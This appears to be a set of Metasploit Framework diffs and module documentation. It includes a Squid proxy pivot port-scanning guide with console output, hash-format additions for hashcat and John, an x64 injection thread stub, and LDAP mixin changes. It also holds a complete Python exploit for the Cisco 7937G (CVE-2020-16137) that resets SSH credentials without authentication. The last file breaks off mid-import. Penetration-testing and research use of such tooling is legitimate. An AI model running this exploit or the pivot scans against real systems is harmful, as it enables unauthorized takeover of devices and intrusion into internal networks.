To test this module, you can try the following:
|
||||
|
||||
1. Install Squid
|
||||
1. Start the Squid service
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/http/squid_pivot_scanning`
|
||||
1. Set the `RHOSTS` and `RPORT` to be that of Squid's host address and port:
|
||||
1. `set RHOSTS squid.internal`
|
||||
1. `set RPORT 3128`
|
||||
1. Set the `RANGE` parameter to be the destination host addresses you wish to port scan.
|
||||
1. `set RANGE 192.168.0.1-192.168.0.2`
|
||||
1. (Optional) Set the specific `PORTS` parameter to any ports you wish to port scan on the hosts in `RANGE`.
|
||||
1. `set PORTS 21-23,80,443`
|
||||
1. Do: `run`
|
||||
1. You should see the module attempt to connect to the proxy, and then first port of the first host in `RANGE`. Ports will be tested sequentially until the end of `PORTS` is reached, at which point it will start from the first port on the next host in `RANGE`.
|
||||
|
||||
|
||||
## Options
|
||||
Here is a quick overview of each option within the module.
|
||||
|
||||
### CANARY_IP
|
||||
|
||||
The IP to check if the proxy always answers positively - this IP address should not normally respond.
|
||||
|
||||
Default value: `1.2.3.4`
|
||||
|
||||
### MANUAL_CHECK
|
||||
|
||||
Invoke the canary check, and stop the scan if the Squid proxy server appears to answer positively to every request.
|
||||
|
||||
Default value: `true`
|
||||
|
||||
### PORTS
|
||||
|
||||
The destination TCP ports to scan through the proxy. Ports will be scanned in ascending order.
|
||||
|
||||
Note: these must be TCP, this scanner cannot scan other protocols.
|
||||
|
||||
### Proxies
|
||||
|
||||
This option should not be confused with the Squid proxy you are trying to scan - this is one of the default Meterpreter paramets in which you can specify a proxy chain to use that you require to reach the Squid proxy.
|
||||
|
||||
### RANGE
|
||||
|
||||
This is the IP range you wish to sca through the Squid proxy. `PORTS` on these hosts will be scanned. Hosts are scanned in ascending order.
|
||||
|
||||
### RPORT
|
||||
|
||||
This is the port that the Squid proxy is listening on. Squid defaults to 3128.
|
||||
|
||||
Default value: `3128`
|
||||
|
||||
### SSL
|
||||
|
||||
Whether you need to connect to Squid with SSL. This is not normally the case.
|
||||
|
||||
Default value: `false`
|
||||
|
||||
### THREADS
|
||||
|
||||
The number of concurrent threads (max one per Squid host).
|
||||
|
||||
Default value: `1`
|
||||
|
||||
### VHOST
|
||||
|
||||
HTTP server virtual host header to send on requests.
|
||||
|
||||
|
||||
## Scenarios and Examples
|
||||
The following is a brief demo of a port scan against two hosts (`192.168.0.1` and `192.168.0.2`) through a Squid proxy responding at `10.10.10.100:3128`. You could assume that the Squid host has a public or otherwise reachable IP address, where the `192.168.0.0` network range is not normally reachable to you.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/squid_pivot_scanning
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.10.10.100
|
||||
RHOSTS => 10.10.10.100
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128
|
||||
RPORT => 3128
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100
|
||||
PORTS => 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 192.168.0.1-192.168.0.2
|
||||
RANGE => 192.168.0.1-192.168.0.2
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
|
||||
|
||||
[+] [10.10.10.100] 192.168.0.1 is alive.
|
||||
[+] [10.10.10.100] 192.168.0.1:80 seems open (HTTP 200, server header: 'nginx/1.14.0 (Ubuntu)').
|
||||
[+] [10.10.10.100] 192.168.0.2 is alive.
|
||||
[+] [10.10.10.100] 192.168.0.2:80 seems open (HTTP 302 redirect to: 'index.php', server header: 'nginx/1.14.0 (Ubuntu)')
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Setting the `VERBOSE` option will show each port tested and explain the reason for unreachable ports, if known. This can be helpful, as a port might very well be open and responding on a host, however if it is denied by the Squid ACL you will be unable to reach it regardless.
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
|
||||
|
||||
[*] [10.10.10.100] Verifying manual testing is not required...
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:21
|
||||
[+] [10.10.10.100] 192.168.0.1 is alive.
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 21 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:22
|
||||
[*] [10.10.10.100] 192.168.0.1:22 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:23
|
||||
[*] [10.10.10.100] 192.168.0.1:23 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:24
|
||||
[*] [10.10.10.100] 192.168.0.1:24 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:25
|
||||
[*] [10.10.10.100] 192.168.0.1:25 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:79
|
||||
[*] [10.10.10.100] 192.168.0.1:79 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:80
|
||||
[+] [10.10.10.100] 192.168.0.1:80 seems open (HTTP 200, server header: 'nginx/1.14.0 (Ubuntu)').
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:81
|
||||
[*] [10.10.10.100] 192.168.0.1:81 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:139
|
||||
[*] [10.10.10.100] 192.168.0.1:139 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:443
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 443 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:445
|
||||
[*] [10.10.10.100] 192.168.0.1:445 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:1433
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 1433 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:1521
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 1521 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:1723
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 1723 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:3389
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 3389 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:8080
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 8080 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.1:9100
|
||||
[*] [10.10.10.100] 192.168.0.1 is alive but 9100 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:21
|
||||
[+] [10.10.10.100] 192.168.0.2 is alive.
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 21 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:22
|
||||
[*] [10.10.10.100] 192.168.0.2:22 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:23
|
||||
[*] [10.10.10.100] 192.168.0.2:23 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:24
|
||||
[*] [10.10.10.100] 192.168.0.2:24 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:25
|
||||
[*] [10.10.10.100] 192.168.0.2:25 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:79
|
||||
[*] [10.10.10.100] 192.168.0.2:79 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:80
|
||||
[+] [10.10.10.100] 192.168.0.2:80 seems open (HTTP 302 redirect to: 'index.php', server header: 'nginx/1.14.0 (Ubuntu)')
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:81
|
||||
[*] [10.10.10.100] 192.168.0.2:81 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:139
|
||||
[*] [10.10.10.100] 192.168.0.2:139 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:443
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 443 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:445
|
||||
[*] [10.10.10.100] 192.168.0.2:445 likely blocked by ACL.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:1433
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 1433 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:1521
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 1521 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:1723
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 1723 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:3389
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 3389 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:8080
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 8080 is closed.
|
||||
[*] [10.10.10.100] Requesting 192.168.0.2:9100
|
||||
[*] [10.10.10.100] 192.168.0.2 is alive but 9100 is closed.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
If the Squid administrator has made the error of having an ACL be too permissive, you might even see more interesting ports. A contrived example is below, note SSH has been added to `Safe_ports`.
|
||||
|
||||
```
|
||||
acl Safe_ports port 80 # http
|
||||
acl Safe_ports port 443 # https
|
||||
acl Safe_ports port 21 # ftp
|
||||
acl Safe_ports port 22 # ssh
|
||||
|
||||
http_access deny !Safe_ports
|
||||
http_access allow localhost
|
||||
http_access allow localnet
|
||||
http_access deny all
|
||||
```
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set TARGETS 127.0.0.1
|
||||
TARGETS => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1
|
||||
RANGE => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-23
|
||||
PORTS => 21-23
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
|
||||
|
||||
[*] [10.10.10.100] Verifying manual testing is not required...
|
||||
[*] [10.10.10.100] Requesting 127.0.0.1:21
|
||||
[+] [10.10.10.100] 127.0.0.1 is alive.
|
||||
[*] [10.10.10.100] 127.0.0.1 is alive but 21 is closed.
|
||||
[*] [10.10.10.100] Requesting 127.0.0.1:22
|
||||
[+] [10.10.10.100] 127.0.0.1:22 seems open (HTTP 200, server header: 'unknown').
|
||||
[*] [10.10.10.100] Requesting 127.0.0.1:23
|
||||
[*] [10.10.10.100] 127.0.0.1:23 likely blocked by ACL.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
|
||||
Finally, it is worth knowing that all open discovered ports are saved as services for later viewing:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/squid_pivot_scanning) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
127.0.0.1 22 tcp unknown open SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
|
||||
Protocol mismatch.
|
||||
192.168.0.1 80 tcp nginx/1.14.0 (ubuntu) open <html><head>...
|
||||
192.168.0.2 80 tcp nginx/1.14.0 (ubuntu) open Redirect to: index.php
|
||||
```
|
||||
@@ -42,6 +42,20 @@ def identify_hash(hash)
|
||||
return 'des,crypt'
|
||||
when hash =~ /^\$dynamic_82\$[\da-f]{128}\$HEX\$[\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108
|
||||
return 'dynamic_82'
|
||||
when hash.start_with?(/{SSHA}/i)
|
||||
return 'ssha'
|
||||
when hash.start_with?(/{SHA512}/i)
|
||||
return 'raw-sha512'
|
||||
when hash.start_with?(/{SHA}/i)
|
||||
return 'raw-sha1'
|
||||
when hash.start_with?(/{MD5}/i)
|
||||
return 'raw-md5'
|
||||
when hash.start_with?(/{SMD5}/i)
|
||||
return 'smd5'
|
||||
when hash.start_with?(/{SSHA256}/i)
|
||||
return 'ssha256'
|
||||
when hash.start_with?(/{SSHA512}/i)
|
||||
return 'ssha512'
|
||||
# windows
|
||||
when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'
|
||||
return 'nt'
|
||||
|
||||
@@ -186,6 +186,20 @@ module Metasploit
|
||||
'10200'
|
||||
when 'dynamic_82'
|
||||
'1710'
|
||||
when 'ssha'
|
||||
'111'
|
||||
when 'raw-sha512'
|
||||
'1700'
|
||||
when 'raw-sha1'
|
||||
'100'
|
||||
when 'raw-md5'
|
||||
'0'
|
||||
when 'smd5'
|
||||
'6300'
|
||||
when 'ssha256'
|
||||
'1411'
|
||||
when 'ssha512'
|
||||
'1711'
|
||||
else
|
||||
nil
|
||||
end
|
||||
|
||||
@@ -67,7 +67,8 @@ def hash_to_hashcat(cred)
|
||||
when /md5|des|bsdi|crypt|bf/, /mssql|mssql05|mssql12|mysql/, /sha256|sha-256/,
|
||||
/sha512|sha-512/, /xsha|xsha512|PBKDF2-HMAC-SHA512/,
|
||||
/mediawiki|phpass|PBKDF2-HMAC-SHA1/,
|
||||
/android-sha1/, /android-samsung-sha1/, /android-md5/
|
||||
/android-sha1/, /android-samsung-sha1/, /android-md5/,
|
||||
/ssha/, /raw-sha512/
|
||||
# md5(crypt), des(crypt), b(crypt), sha256, sha512, xsha, xsha512, PBKDF2-HMAC-SHA512
|
||||
# hash-mode: 500 1500 3200 7400 1800 122 1722 7100
|
||||
# mssql, mssql05, mssql12, mysql, mysql-sha1
|
||||
@@ -76,6 +77,8 @@ def hash_to_hashcat(cred)
|
||||
# hash-mode: 3711, 400, 12001
|
||||
# android-sha1
|
||||
# hash-mode: 5800
|
||||
# ssha, raw-sha512
|
||||
# hash-mode: 111, 1700
|
||||
return cred.private.data
|
||||
end
|
||||
end
|
||||
|
||||
@@ -63,6 +63,8 @@ def hash_to_jtr(cred)
|
||||
# /des(crypt)/
|
||||
# /mediawiki|phpass|atlassian/
|
||||
# /dynamic_82/
|
||||
# /ssha/
|
||||
# /raw-sha512/
|
||||
return "#{cred.public.username}:#{cred.private.data}:#{cred.id}:"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.0.2"
|
||||
VERSION = "6.0.3"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -13,14 +13,14 @@ module Msf
|
||||
###
|
||||
class Auxiliary < Msf::Module
|
||||
|
||||
require 'msf/core/auxiliary/mixins'
|
||||
|
||||
class Complete < RuntimeError
|
||||
end
|
||||
|
||||
class Failed < RuntimeError
|
||||
end
|
||||
|
||||
require 'msf/core/auxiliary/mixins'
|
||||
|
||||
include HasActions
|
||||
|
||||
#
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
@@ -9,6 +10,8 @@ module Msf
|
||||
|
||||
module Auxiliary::Scanner
|
||||
|
||||
class AttemptFailed < Msf::Auxiliary::Failed
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes an instance of a recon auxiliary module
|
||||
@@ -119,6 +122,8 @@ def run
|
||||
if datastore['CHOST']
|
||||
@scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable"
|
||||
end
|
||||
rescue Msf::Auxiliary::Scanner::AttemptFailed => e
|
||||
nmod.vprint_error("#{e}")
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError
|
||||
rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError
|
||||
raise $!
|
||||
@@ -198,10 +203,12 @@ def run
|
||||
mybatch = bat.dup
|
||||
begin
|
||||
nmod.run_batch(mybatch)
|
||||
rescue ::Rex::BindFailed
|
||||
if datastore['CHOST']
|
||||
@scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable"
|
||||
end
|
||||
rescue ::Rex::BindFailed
|
||||
if datastore['CHOST']
|
||||
@scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable"
|
||||
end
|
||||
rescue Msf::Auxiliary::Scanner::AttemptFailed => e
|
||||
print_error("#{e}")
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error
|
||||
rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError
|
||||
raise $!
|
||||
@@ -331,6 +338,16 @@ def add_delay_jitter(_delay, _jitter)
|
||||
end
|
||||
end
|
||||
|
||||
def fail_with(reason, msg = nil, abort: false)
|
||||
if abort
|
||||
# raising Failed will case the run to be aborted
|
||||
raise Msf::Auxiliary::Failed, "#{reason.to_s}: #{msg}"
|
||||
else
|
||||
# raising AttemptFailed will cause the run_host / run_batch to be aborted
|
||||
raise Msf::Auxiliary::Scanner::AttemptFailed, "#{reason.to_s}: #{msg}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -58,28 +58,29 @@ module Exe
|
||||
|
||||
def create_thread_stub_x64
|
||||
<<-EOS
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
sub rsp, 38h
|
||||
and rsp, 0xfffffffffffffff0 ; Ensure RSP is 16 byte aligned
|
||||
|
||||
mov rcx, hook_libname
|
||||
sub rsp, 30h
|
||||
mov rax, iat_LoadLibraryA
|
||||
call [rax]
|
||||
add rsp, 30h
|
||||
|
||||
mov rdx, hook_funcname
|
||||
mov rcx, rax
|
||||
sub rsp, 30h
|
||||
mov rax, iat_GetProcAddress
|
||||
call [rax]
|
||||
add rsp, 30h
|
||||
|
||||
push 0
|
||||
push 0
|
||||
mov r9, 0
|
||||
xor ecx, ecx
|
||||
mov qword ptr [rsp+28h], rcx
|
||||
mov qword ptr [rsp+20h], rcx
|
||||
mov r9, rcx
|
||||
mov r8, thread_hook
|
||||
mov rdx, 0
|
||||
mov rcx, 0
|
||||
mov rdx, rcx
|
||||
call rax
|
||||
add rsp,10h ; clean up the push 0 above
|
||||
|
||||
leave
|
||||
jmp entrypoint
|
||||
|
||||
hook_libname db 'kernel32', 0
|
||||
|
||||
+119
-69
@@ -7,83 +7,133 @@
|
||||
require 'net-ldap'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::LDAP
|
||||
module Exploit::Remote::LDAP
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options([
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(389),
|
||||
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]),
|
||||
OptString.new('BIND_DN', [false, 'The username to authenticate to LDAP server']),
|
||||
OptString.new('BIND_PW', [false, 'Password for the BIND_DN'])
|
||||
])
|
||||
|
||||
register_options([
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(389),
|
||||
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false])
|
||||
])
|
||||
register_advanced_options([
|
||||
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
|
||||
])
|
||||
end
|
||||
|
||||
register_advanced_options([
|
||||
OptFloat.new('ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
|
||||
])
|
||||
end
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def ldap_connect(opts = {}, &block)
|
||||
connect_opts = {
|
||||
host: rhost,
|
||||
port: rport,
|
||||
connect_timeout: datastore['ConnectTimeout']
|
||||
}
|
||||
|
||||
if datastore['SSL']
|
||||
connect_opts[:encryption] = {
|
||||
method: :simple_tls,
|
||||
tls_options: {
|
||||
verify_mode: OpenSSL::SSL::VERIFY_NONE
|
||||
}
|
||||
def get_connect_opts()
|
||||
connect_opts = {
|
||||
host: rhost,
|
||||
port: rport,
|
||||
connect_timeout: datastore['LDAP::ConnectTimeout']
|
||||
}
|
||||
|
||||
if datastore['SSL']
|
||||
connect_opts[:encryption] = {
|
||||
method: :simple_tls,
|
||||
tls_options: {
|
||||
verify_mode: OpenSSL::SSL::VERIFY_NONE
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
if datastore['BIND_DN']
|
||||
connect_opts[:auth] = {
|
||||
method: :simple,
|
||||
username: datastore['BIND_DN']
|
||||
}
|
||||
if datastore['BIND_PW']
|
||||
connect_opts[:auth][:password] = datastore['BIND_PW']
|
||||
end
|
||||
end
|
||||
connect_opts
|
||||
end
|
||||
|
||||
Net::LDAP.open(connect_opts.merge(opts), &block)
|
||||
def ldap_connect(opts = {}, &block)
|
||||
Net::LDAP.open(get_connect_opts.merge(opts), &block)
|
||||
end
|
||||
|
||||
def ldap_new(opts = {})
|
||||
ldap = Net::LDAP.new(get_connect_opts.merge(opts))
|
||||
|
||||
# NASTY, but required
|
||||
# monkey patch ldap object in order to ignore bind errors
|
||||
# Some servers (e.g. OpenLDAP) return result even after a bind
|
||||
# has failed, e.g. with LDAP_INAPPROPRIATE_AUTH - anonymous bind disallowed.
|
||||
# See: https://www.openldap.org/doc/admin23/security.html#Authentication%20Methods
|
||||
# "Note that disabling the anonymous bind mechanism does not prevent anonymous
|
||||
# access to the directory."
|
||||
#
|
||||
# Bug created for Net:LDAP https://github.com/ruby-ldap/ruby-net-ldap/issues/375
|
||||
#
|
||||
def ldap.use_connection(args)
|
||||
if @open_connection
|
||||
yield @open_connection
|
||||
else
|
||||
begin
|
||||
conn = new_connection
|
||||
conn.bind(args[:auth] || @auth)
|
||||
# Commented out vs. original
|
||||
# result = conn.bind(args[:auth] || @auth)
|
||||
# return result unless result.result_code == Net::LDAP::ResultCodeSuccess
|
||||
yield conn
|
||||
ensure
|
||||
conn.close if conn
|
||||
end
|
||||
end
|
||||
end
|
||||
yield ldap
|
||||
end
|
||||
|
||||
def get_naming_contexts(ldap)
|
||||
vprint_status("#{peer} Getting root DSE")
|
||||
|
||||
unless (root_dse = ldap.search_root_dse)
|
||||
print_error("#{peer} Could not retrieve root DSE")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_line(root_dse.to_ldif)
|
||||
|
||||
naming_contexts = root_dse[:namingcontexts]
|
||||
|
||||
# NOTE: Net::LDAP converts attribute names to lowercase
|
||||
if naming_contexts.empty?
|
||||
print_error("#{peer} Empty namingContexts attribute")
|
||||
return
|
||||
end
|
||||
|
||||
naming_contexts
|
||||
end
|
||||
|
||||
def discover_base_dn(ldap)
|
||||
naming_contexts = get_naming_contexts(ldap)
|
||||
|
||||
unless naming_contexts
|
||||
print_error("#{peer} Base DN cannot be determined")
|
||||
return
|
||||
end
|
||||
|
||||
# NOTE: We assume the first namingContexts value is the base DN
|
||||
base_dn = naming_contexts.first
|
||||
|
||||
print_good("#{peer} Discovered base DN: #{base_dn}")
|
||||
base_dn
|
||||
end
|
||||
end
|
||||
|
||||
def discover_base_dn(ldap)
|
||||
print_status('Searching root DSE for base DN')
|
||||
|
||||
unless (root_dse = ldap.search_root_dse)
|
||||
print_error('Could not retrieve root DSE')
|
||||
return
|
||||
end
|
||||
|
||||
vprint_line(root_dse.to_ldif)
|
||||
|
||||
# NOTE: Net::LDAP converts attribute names to lowercase
|
||||
unless root_dse[:namingcontexts]
|
||||
print_error('Could not find namingContexts attribute')
|
||||
return
|
||||
end
|
||||
|
||||
if root_dse[:namingcontexts].empty?
|
||||
print_error('Could not find base DN')
|
||||
return
|
||||
end
|
||||
|
||||
# NOTE: We assume the first namingContexts value is the base DN
|
||||
base_dn = root_dse[:namingcontexts].first
|
||||
|
||||
print_good("Discovered base DN: #{base_dn}")
|
||||
base_dn
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -614,6 +614,8 @@ class Core
|
||||
|
||||
framework.features.set(feature_name, value == 'true')
|
||||
print_line("#{feature_name} => #{value}")
|
||||
# Reload the current module, as feature flags may impact the available module options etc
|
||||
driver.run_single("reload") if driver.active_module
|
||||
when 'print'
|
||||
if framework.features.all.empty?
|
||||
print_line 'There are no features to enable at this time. Either the features have been removed, or integrated by default.'
|
||||
@@ -644,7 +646,7 @@ class Core
|
||||
|
||||
print_line features_table.to_s
|
||||
else
|
||||
cmd_help
|
||||
cmd_features_help
|
||||
end
|
||||
rescue StandardError => e
|
||||
elog(e)
|
||||
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# standard modules
|
||||
from metasploit import module
|
||||
import logging
|
||||
|
||||
# extra modules
|
||||
dependency_missing = False
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
dependency_missing = True
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Cisco 7937G SSH Privilege Escalation',
|
||||
'description': '''
|
||||
This module exploits a feature that should not be available
|
||||
via the web interface. An unauthenticated user may change
|
||||
the credentials for SSH access to any username and password
|
||||
combination desired, giving access to administrative
|
||||
functions through an SSH connection.
|
||||
''',
|
||||
'authors': [
|
||||
'Cody Martin'
|
||||
# Author Homepage: debifrank.github.io
|
||||
# Organization: BlackLanternSecurity
|
||||
# Org. Homepage: BlackLanternSecurity.com
|
||||
],
|
||||
'date': '2020-06-02',
|
||||
'license': 'GPL_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
|
||||
{'type': 'cve', 'ref': '2020-16137'}
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'rhost': {'type': 'address',
|
||||
'description': 'Target address',
|
||||
'required': True,
|
||||
'default': ''},
|
||||
'USER': {'type': 'string',
|
||||
'description': 'Desired username',
|
||||
'required': True,
|
||||
'default': ''},
|
||||
'PASS': {'type': 'string',
|
||||
'description': 'Desired password',
|
||||
'required': True,
|
||||
'default': ''},
|
||||
'TIMEOUT': {'type': 'int',
|
||||
'description': 'Timeout in seconds',
|
||||
'required': True,
|
||||
'default': 5}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
def run(args):
|
||||
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
|
||||
if dependency_missing:
|
||||
logging.error('Python module dependency (requests) is missing, cannot continue')
|
||||
logging.error('Please execute pip3 install requests.')
|
||||
return
|
||||
|
||||
url = "http://{}/localmenus.cgi".format(args['rhost'])
|
||||
payload_user = {"func": "403", "set": "401",
|
||||
"name1": args['USER'], "name2": args['USER']}
|
||||
payload_pass = {"func": "403", "set": "402",
|
||||
"pwd1": args['PASS'], "pwd2": args['PASS']}
|
||||
logging.info("Attempting to set SSH credentials.")
|
||||
try:
|
||||
r = requests.post(url=url, params=payload_user,
|
||||
timeout=int(args['TIMEOUT']))
|
||||
if r.status_code != 200:
|
||||
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
|
||||
return
|
||||
|
||||
r = requests.post(url=url, params=payload_pass, timeout=int(args['TIMEOUT']))
|
||||
if r.status_code != 200:
|
||||
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
|
||||
return
|
||||
except requests.exceptions.RequestException:
|
||||
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
|
||||
return
|
||||
|
||||
logging.info("SSH attack finished!")
|
||||
logging.info(("Try to login using the supplied credentials {}:{}").format(
|
||||
args['USER'], args['PASS']))
|
||||
logging.info("You must specify the key exchange when connecting or the device will be DoS'd!")
|
||||
logging.info(("ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 {}@{}").format(args['USER'], args['rhost']))
|
||||
return
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
module.run(metadata, run)
|
||||
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
File.open(tarfile, 'rb') do |file|
|
||||
Rex::Tar::Reader.new(file) do |tar|
|
||||
tar.each do |entry|
|
||||
dest = File.join destination, entry.full_name
|
||||
dest = File.join(destination, File.basename(entry.full_name))
|
||||
if entry.file?
|
||||
File.open(dest, 'wb') do |f|
|
||||
f.write(entry.read)
|
||||
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# standard modules
|
||||
from metasploit import module
|
||||
import logging
|
||||
import string
|
||||
import random
|
||||
|
||||
# extra modules
|
||||
dependency1_missing = False
|
||||
dependency2_missing = False
|
||||
try:
|
||||
import socket
|
||||
except ImportError:
|
||||
